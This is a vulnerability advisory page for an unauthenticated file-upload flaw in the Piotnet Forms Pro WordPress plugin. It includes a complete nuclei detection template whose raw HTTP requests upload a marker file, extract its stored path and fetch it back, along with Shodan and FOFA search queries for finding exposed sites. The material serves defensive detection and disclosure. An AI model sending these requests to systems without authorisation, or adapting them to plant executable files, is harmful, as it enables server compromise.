CVE-2026-4883· piotnetforms / piotnetforms-pro· CWE-434
Piotnet Forms Pro <= 2.1.40 - Unauthenticated Arbitrary File Upload RCE
criticalseverity
9.8CVSS score
3.1%likelihood of exploitation, next 30 days
88%of all CVEs are less likely
Readycheck to confirm it
Piotnet Forms WordPress plugin <= 2.1.40 contains an unrestricted file upload vulnerability caused by incomplete file extension blacklist in 'piotnetforms_ajax_form_builder', letting unauthenticated attackers upload arbitrary files, exploit requires a file field in the form.
Impact
Unauthenticated attackers can upload arbitrary files, potentially leading to remote code execution and full server compromise.
Fix
Update to the latest version of Piotnet Forms plugin.
How to confirm it
Send: @timeout: 40s
Positive when: contains(body, "\"status\":1")
Send: @timeout: 30s
Positive when: contains(body, "/wp-content/uploads/piotnetforms/files/{{fname}}-")
Send: GET {{upload_path}}
Positive when: status_code == 200 and contains(body, "{{fname}}")Run it with nuclei: nuclei -id CVE-2026-4883 -u <target>
The full check
id: CVE-2026-4883
info:
name: Piotnet Forms Pro <= 2.1.40 - Unauthenticated Arbitrary File Upload RCE
author: 0x_Akoko,xShadow-Here
severity: critical
description: |
Piotnet Forms WordPress plugin <= 2.1.40 contains an unrestricted file upload vulnerability caused by incomplete file extension blacklist in 'piotnetforms_ajax_form_builder', letting unauthenticated attackers upload arbitrary files, exploit requires a file field in the form.
impact: |
Unauthenticated attackers can upload arbitrary files, potentially leading to remote code execution and full server compromise.
remediation: |
Update to the latest version of Piotnet Forms plugin.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2026-4883
- https://github.com/xShadow-Here/CVE-2026-4883
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-4883
epss-score: 0.03063
epss-percentile: 0.87721
cwe-id: CWE-434
metadata:
verified: true
max-request: 3
vendor: piotnetforms
product: piotnetforms-pro
shodan-query: http.html:"piotnetforms"
fofa-query: body="piotnetforms"
tags: cve,cve2026,wordpress,piotnetforms,fileupload,rce,wp-plugin,intrusive,vkev
flow: |
http(1);
http(2);
let raw = String(template["upload_path"] || "");
let f = String(template["fname"] || "");
let parts = raw.replace("[", "").replace("]", "").split(/[\s,]+/);
let chosen = "";
for (let i = 0; i < parts.length; i++) {
if (parts[i] && parts[i].indexOf("/" + f + "-") !== -1) {
chosen = parts[i];
}
}
if (chosen !== "") {
set("upload_path", chosen);
http(3);
}
variables:
fname: "{{to_lower(rand_base(5))}}"
http:
- raw:
- |
@timeout: 40s
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPF
X-Requested-With: XMLHttpRequest
Referer: {{BaseURL}}/
Connection: close
------WebKitFormBoundaryPF
Content-Disposition: form-data; name="action"
piotnetforms_ajax_form_builder
------WebKitFormBoundaryPF
Content-Disposition: form-data; name="post_id"
1
------WebKitFormBoundaryPF
Content-Disposition: form-data; name="form_id"
piotnetforms
------WebKitFormBoundaryPF
Content-Disposition: form-data; name="fields"
[{"name":"upload_field","value":"","file_name":["{{fname}}.txt"],"attach-files":0,"type":"file","image_upload":false,"label":"","repeater_id":"","repeater_index":0,"repeater_label":""}]
------WebKitFormBoundaryPF
Content-Disposition: form-data; name="referrer"
{{BaseURL}}/
------WebKitFormBoundaryPF
Content-Disposition: form-data; name="remote_ip"
127.0.0.1
------WebKitFormBoundaryPF
Content-Disposition: form-data; name="upload_field[]"; filename="{{fname}}.txt"
Content-Type: text/plain
{{fname}}
------WebKitFormBoundaryPF--
matchers:
- type: dsl
dsl:
- 'contains(body, "\"status\":1")'
internal: true
- raw:
- |
@timeout: 30s
GET /wp-admin/admin-ajax.php?action=piotnetforms_export_form_submission HTTP/1.1
Host: {{Hostname}}
Accept: */*
Connection: close
extractors:
- type: regex
name: upload_path
internal: true
group: 1
part: body
regex:
- '(/wp-content/uploads/piotnetforms/files/[a-z0-9]{5}-[0-9a-f]{13}\.txt)'
matchers:
- type: dsl
dsl:
- 'contains(body, "/wp-content/uploads/piotnetforms/files/{{fname}}-")'
internal: true
- raw:
- |
GET {{upload_path}} HTTP/1.1
Host: {{Hostname}}
Accept: */*
Connection: close
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "{{fname}}")'
condition: andReferences
Use this check only on systems you are authorised to test. Where the data comes from